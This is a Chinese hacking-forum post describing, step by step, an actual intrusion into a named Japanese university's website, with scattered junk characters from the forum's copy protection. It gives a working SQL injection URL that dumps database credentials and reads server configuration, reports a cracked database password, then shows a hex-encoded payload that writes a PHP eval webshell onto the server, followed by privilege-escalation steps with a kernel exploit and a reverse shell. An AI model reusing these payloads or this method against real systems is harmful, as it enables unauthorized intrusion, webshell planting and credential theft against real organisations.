中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析
, m- m; [! `% @2 y( x) y, B5 N- G. U9 W+ [) h) i9 }
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
7 E" U' G5 K; k: m, @- D然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:3 R5 D& U9 `- R# d
" w, p- x; M5 U4 u* h
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
6 H- m  J1 [! L) N: V4 a; s( L7 r8 v( Y* S. E4 t# b
" G+ p/ Q+ R3 L% E0 B' L" ]: ]3 ^
. G' j% \7 l: d* L# T1 c$ S3 A# k
//@@datadir为数据库文件路径 : N( e; t8 T3 z2 n$ W

$ M- f3 x2 @- F0 _; }3 M) `6 v" N! T4 w/ p
//load_file读取网站容器apache的配置文件 # }7 i% h/ C/ m+ M6 j

/ n5 @' G! |% R3 K. P8 Q- I( J1 U" S& Z0 |" O6 r+ h7 m
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
$ ]+ k; a  v, f9 ]复制代码/ f4 a1 v- s- g, @

2 a& G4 e3 n$ q. n虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。( _9 ]  Y2 k: ?5 l! ?; E7 T

1 i) e" f' @0 r& k1 y6 X" V( j$ `而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。# u& S, l5 w. O/ p4 a
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)4 x; B1 [# p% _6 L, t, u# P% m2 @

1 e2 d) I+ A0 G1 f6 a" Q1 ~前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
8 R; z6 F% R6 Q: V& |如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html/ l1 P7 g; F4 N0 P

  s! T; U/ h, K* c+ I* E( _' H, u既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
, ]5 ?" Q8 q4 j+ [虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。, y; w" |! Q4 p# O; _! x
直接写一句话:
/ s5 s: Z: M" `8 G9 S: n
2 R1 X2 N! E6 A) k' d$ g5 V/ N! A% jhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#  e1 @6 ^0 x" k2 o- n& K
$ o6 K3 y4 \) s3 X1 y

0 t. L0 \, x; K9 D. a# T  H" P4 y* A! `: `/ n
//最后的#是为了闭合前面的语句
- ^3 f- n& }( z2 R' \2 y7 N. n
; r5 ]  L% x: ^; e
. d! W8 g, W" ]1 R9 @  w: {' K  t/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E - W/ F0 S  @4 A8 a' E, {

& l& l' f/ [" l: I1 x3 ^: ?9 \  X; A( q* a1 _( }1 i
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ & E; y/ a, y% i0 I2 I: _
, ?% t$ }2 A$ B2 H) _* o: O- ^
( H2 ~9 B- Q8 P/ C# S
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
# m, e" N/ j* Q" }. J 8 g7 {' x$ j( E" A& q  ^/ o

* ?* _9 X* C  T//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 & J4 P- C: F' |: ^: m& p
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ( f# B: z2 L: o/ K5 c" A6 }
复制代码
+ H" b! o! c+ W" E' f8 p7 q$ I
' L, i8 U5 L! }4 HHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
: k4 A" {7 _8 c3 t! L通过上述注入语句,我们就得到了一句话木马:. j- j1 t0 r  A+ z9 V1 b
: d! v2 P- l. y  m" d. p# w

! I0 }& {, r. C8 S8 G
. F& t% U6 b* O( t% G $ S5 H+ u" q/ ]7 {
* w. X% _0 c# y  ~
http://www.doshisha.ac.jp/english/engnews_img/aa.php : ~- g2 |3 a9 D
复制代码; X& B1 S$ u% B

7 F/ x# H- P$ r/ Y5 M9 y  ?2 w用菜刀连接,密码是cmd,如图所示:
: V0 y3 q# L  r6 j  R! _- L6 |  ?然后在命令提示行里看了一下,现在的权限是:, I( V+ E; r( O5 [9 ^  A9 o! |
9 @* F8 U; |1 k, [5 h% v
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
- ?1 N- F0 g  |$ }+ J- x. `, t好在赋权给这个文件夹不需要root,直接执行赋权语句:
* V0 C( G; ~& T4 Z
* J9 Q3 N7 \. [5 }5 p( j : H3 D- k( T, \7 U3 ?/ y  X( |
0 s4 J1 `4 }" ^) ^0 g
  {+ j6 O" K8 n/ Q1 \$ u, ^" C

; {3 }0 F1 v& w- h* T( Nchmod +x /tmp/
& ]' j6 z5 K( b$ ^复制代码' A1 ~; ~7 n, c& C: Y* D

( x1 ~3 p+ X7 L" N( W在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
6 k: h( \5 F  d8 {, j4 Y然后就查了一下内核版本:8 P' l! k0 V7 P1 x7 _+ E9 L
# Q  F2 X2 T# }4 k

: K( J! s! G  [. o7 j' g7 k* L- y: K" x) h) U0 ^: g
" ^! j& K6 }1 ^# B
, a: {" f) c5 g) S& @
uname-a
+ v* r6 B% a; [# d2 h
& }: [! l) f6 J
0 Q: g. H, i2 s) K8 i! Y//其实lsb_release -a : _* S3 l( g' ^* b2 u
复制代码! g1 @0 O% L6 s8 P9 h9 ^9 r

$ v! ^/ @( p: A* R: B, W% z8 I如图所示:$ b$ ~0 d; v* d1 ^" n
$ a  ]# q- r+ u9 P, `
内核版本:linux mainz1 2.6.28-194.e15# l0 x- A0 L4 |' M' ~
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
2 M) {& l; p! g' g1 h& |查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹  g+ K& I$ x  s/ ?4 O
/ H: [5 X8 Y4 N4 c
然后给予执行权限* d+ L; z; ^; h7 Q  t2 o4 R) `+ o
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样6 G5 s9 o- z- c* Z# Q. [" H/ T; {
9 D8 X/ ^  A2 Z$ w3 R# |) x- P  [

$ X" Y/ A0 n: X5 r' S4 s2 x
, r4 a: V! |* f7 E8 P 8 h+ n$ F0 v6 o* ?+ J. l

0 U8 {% T; |' Lchmod +x /tmp/2.6.18-194
6 m* v- F- \  D( I复制代码 然后直接执行!~
, O' n5 N: V: E9 x$ p  o9 k2 M* t, U2 t% ]! p* s
总结:7 B8 g, K1 o2 D+ ~0 s. n0 N, \9 v
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了, X9 A4 j7 i6 @
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root% l4 m4 p( W" O2 Y2 ?- s

; _6 ~' K0 c! {, j! B2 ^+ F9 E




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2